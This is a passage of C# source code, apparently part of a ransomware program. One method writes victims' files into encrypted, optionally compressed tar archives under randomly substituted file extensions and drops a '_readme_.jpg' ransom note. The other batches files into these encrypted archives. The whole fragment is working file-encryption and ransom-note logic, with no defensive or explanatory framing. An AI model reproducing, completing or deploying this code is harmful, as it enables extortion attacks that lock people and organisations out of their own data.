private void CreateTarOutputStream(FileInfo encFile, EncryptionWorkerContext w) { KeyValuePair <string, byte[]> fileType = (from ft in fileTypes select ft).Skip(random.Next(0, fileTypes.Count() - 1)).First(); string extension = encFile.Extension; if (fileType.Key == extension) { fileType = (from ft in fileTypes where ft.Key != extension select ft).First(); } // remove old file extension and add new one string fileName = encFile.FullName; fileName = fileName.Substring(0, fileName.Length - extension.Length); // + fileType.Key fileName += fileType.Key; Console.WriteLine("CreateTarOutputStream: {0}", fileName); w.output = new FileStream(fileName, FileMode.Create, FileAccess.Write); CryptoStream crypt = GetEncryptStream(w.output, fileType.Value); if (Compress) { w.encryptedTarStream = new TarOutputStream(new GZipOutputStream(crypt)); } else { w.encryptedTarStream = new TarOutputStream(crypt); } int rArch = random.Next(0, 5); if (w.archiveCount == 5) { GenerateRansomNote(fileName + "_readme_.jpg"); } }
private void EncryptFileHandler(EncryptionWorkerContext w, FileInfo file) { if (w.fileCount == 0) { w.Close(); // create new one CreateTarOutputStream(file, w); } TarFile(file.FullName, w.encryptedTarStream); w.filesSize += file.Length; ++w.fileCount; // check limits, if exceeded then reset them if ((w.fileCount >= MaxFilesInArchive && MaxFilesInArchive > 0) || (MaxOutputFileSize > 0 && w.filesSize >= MaxOutputFileSize)) { w.Reset(); } }